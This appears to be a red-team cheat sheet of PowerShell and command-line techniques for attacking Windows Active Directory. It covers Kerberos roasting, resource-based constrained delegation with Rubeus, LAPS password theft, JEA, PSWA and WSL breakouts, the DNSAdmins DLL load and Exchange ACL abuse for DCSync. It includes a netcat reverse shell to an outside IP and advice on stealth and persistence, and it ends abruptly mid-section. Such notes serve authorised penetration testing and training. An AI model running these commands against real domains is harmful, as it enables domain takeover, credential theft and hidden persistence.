Finding Accounts with Kerberos pre-auth disabled

Get-DomainUser -PreauthNotRequired -Verbose

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Force Disable kerberos preauth

# Checking current groups ACL rights:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Disabling kerberos pre-auth for a user:
Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} –Verbose

SetSPN - Targeted Kerberoasting

Enumeration

# Viewing our ACL permissions:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Check if user has SPN:
Get-DomainUser -Identity supportuser | select serviceprincipalname

# Check if user has SPN already:
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

Setting SPN (must be unique for domain)

Set-DomainObject -Identity USER -SET @{serviceprincipalname='ops/whatever1'}

## Clean up
Set-DomainObject -Identity USER -clear serviceprincipalname

Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}

Extraction and cracking same as kerberoasting.

Resource Based Constrained Delegation

Enumeration

# ACL can be found with BH or invoke-acl scanner / get-acl etc.
# Need to control a machine with SPN or ability to add a domain machine (normal user)
# Also need write permissoion on a computer object

Adding New Computer Object

Import-Module .\Powermad.psd1

New-MachineAccount -Domain offensiveps.powershell.local -DomainController 192.168.2.1 -MachineAccount AttackCompObj -Password (ConvertTo-SecureString 'Password123' -AsPlainText -Force) -Verbose

Set RBCD on target

# Import AD Module
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

# Set RBCD on Target
Set-ADComputer <targethostname> -PrincipalsAllowedToDelegateToAccount <AttackCompObj>$ -Verbose

Control Target

# Create hash of plaintext password if creating a new machine

# Request TGS 
.\Rubeus.exe s4u /user:AttackCompObj$ /rc4:HASH /msdsspn:http/<target> /impersonateuser:Administrator /ptt

# HTTP allows psremote
Enter-pssession -computername <target>

LAPS Abuse

Enumeration

# Easiest done with the LAPS powershell module

# Get OU with powerview
Get-NetOU

# Import module
Import-Module C:\AD\Tools\AdmPwd.PS\AdmPwd.PS.psd1 

# Find the OUs that can read LAPS passwords
Find-AdmPwdExtendedRights -Identity <OU>

# Basic but reliable
Get-NetOU -FullData

# Script to get in nice format (unreliable)
Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs | Where-Object { ($_.ObjectType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty') } | ForEach-Object { $_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID; $_ }

Abuse

# Once we have compromised a user that sits within an OU that can read LAPS
Get-AdmPwdPassword -ComputerName <targetmachine>

# After gaining password you can log in to machine as <targetmachine>\Administrator

# If we have SYSTEM on a LAPS machine, we can alter the password expiration time so we can persist longer on the machine.

# If we have DA we can modify ACLs of computer objects to provide attackers with permissions to read passwords in clear.

# Client component (C:\Program Files\LAPS\CSE\AdmPwd.dll) has no integrity check and can be replaced with malicious dll for attacks such as known password, long expiration time etc.

# Once we have compromised user with privs:
Get-ADObject -SamAccountName <targetmachine$> | select ExpandProperty ms-mcs-admpwd

# Once we have compromised user with privs:
Get-ADComputer -Identity <targetmachine> -Properties msmcs-admpwd | select -ExpandProperty ms-mcs-admpwd

Just Enough Administration (JEA) Abuse

JEA allows non admin users to psremote using certain psremote configurations. These are restricted but can be in a configuration where you are running as an admin. This means if you break out of the confines of configuration then you are an admin of the box.

Enumeration

AD descriptions. So far havent seen any official way to scan for them.

# Role Capability file (Visible cmdlets etc)
New-PSRoleCapabilityFile -Path .\JEA.psrc

# Session configuration files (user mappings and role definitions)
New-PSSessionConfigurationFile -SessionType RestrictedRemoteServer -Path .\JEA.pssc
Register-PSSessionConfiguration -Path .\JEA.pssc -Name 'Persist' -Force 

# If you can find .pssc or .psrc files then they can help breakout.

Abuse

# Connect to JEA endpoint
Enter-PSSession -ComputerName <target> -ConfigurationName <config name>

# Enum commands available, look them up in docs to see what is possible
Get-Command 

# Some dangerous cmdlets
start-process 
add-computer
new-iissite
set-pssessionconfiguration (set-pssessionconfiguration -Name <profilename> -SecurityDescriptorSDDL <SDDL>)(https://gist.github.com/jborean93/6d9aaf868d1d40344188984ebb431b04)

PowerShell Web Access (PSWA) Abuse

Enumeration

# PSWA can be used to get a powershell session on port 443. 
# Default path
https://hostname/pswa

# Requires admin creds, available cmdlets can be restricted
Get-Command

Abuse

# Depends on config, but look for sensitive commands and binaries.
Net.exe 
Reg.exe 
Invoke-Command 
Start-Process

# If a breakout is needed refer to JEA as well.

Configure for Persistance

# Install
Install-WindowsFeature -Name WindowsPowerShellWebAccess

# Configure
Install-PswaWebApplication -useTestCertificate 

# Configure Rules (Wildcard * can be used for all values allowing all users / cmds)
Add-PswaAuthorizationRule -UserName <domain\user> -ComputerName <computer_name> -ConfigurationName <session_configuration_name>

Windows Subsystem Linux (WSL) Abuse

Enumeration

# Find linux distro on windows host, should see binaries and filesystem

# Can access files like on linux /etc/shadow etc. 

# Worth looking for keytab files. These allow linux to talk kerberos and can be cracked. https://github.com/sosdave/KeyTabExtract
 python3 keytabextract.py /root/ADShare/wslhost.keytab

Abuse

# Run windows binaries with bash
bash.exe -c cmd.exe 

# Run windows binaries with wsl
wsl.exe cmd.exe 

# These run with permissions of WSL process, as current windows user.

# Reverse Shell
wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 192.168.100.1 443 1>/tmp/backpipe

# Can be useful for stealth since its harder to detect malicious activity on WSL. ELF persistance would be very good.

Windows Device Guard Bypass

Enumeration

# With device guard you will be in a shell with no language mode and app whitelisting.

# List policies
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Bypass

# Known also as CLM bypasses, there are several online.
# Typically windows signed binaries allowed, worth trying:
Procdump.exe 
Psexec.exe
Reg.exe

# CLM Bypasses:

DNSAdmins

Enumeration

Get-NetGroupMember -GroupName "DNSAdmins"

Get-ADGroupMember -Identity DNSAdmins

Abuse

Compromise DNSAdmin user is necessary to perform abuse

# Configure DLL using dnscmd.exe:
dnscmd DC /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll 

# Configure DLL using DNSServer module:
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc Verbose -All 
$dnsettings.ServerLevelPluginDll = "\\172.16.50.100\dll\mimilib.dll" 
Set-DnsServerSetting -InputObject $dnsettings -ComputerName DC -Verbose

# Restart DNS Service
sc \\DC stop dns 
sc \\DC start dns 

# By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log

Microsoft Exchange Abuse

Enumeration

# Exchange groups have high permissions. 
Look for groups such as:
Organization Management (Full control over exchange windows permissions group)
Exchange Windows Permissions (WriteDACL on domain object pre server 2019)
Exchange Trusted SubSystem (can modify DACL of DNSAdmins and others, local admin to exchange servers)

Abuse

# Own user in groups above or own exchange server
# PTH as user or exchange server

# Import ADModule and RACE
Import-Module .\ADModulemaster\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1 
. .\RACE.ps1 

# Give user access to DC
Set-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'DC=techcorp,DC=local' -Server techcorp.local -Verbose

# Give DCSync 
Set-ADACL -SamAccountName DOMAIN\USER DistinguishedName 'DC=techcorp,DC=local' -GUIDRight DCSync -Server techcorp.local -Verbose 

# (As DA)Giving user WriteDACL over windows exhchange group for persistance
Set-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -SAMAccountName DOMAIN\USER -Verbose 

# (As user now added) Use that priv to modify acl of windows permissions and give write member

PAM Trust

PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. Temporary Group Membership also introduced so perms only given for set time.

Enumeration

# Import ADModule

# Detect if current forest is PAM trust
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

# Enumerate Shadow Principals
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

# Enumerate if current forest is managed by a bastion forest
Get-ADTrust -Filter {(ForestTransitive -eq $True)} 
# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External = PAM

Abuse

# Find users with shadow principals and names of shadow principal objects
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

# Add a compromised user to the group
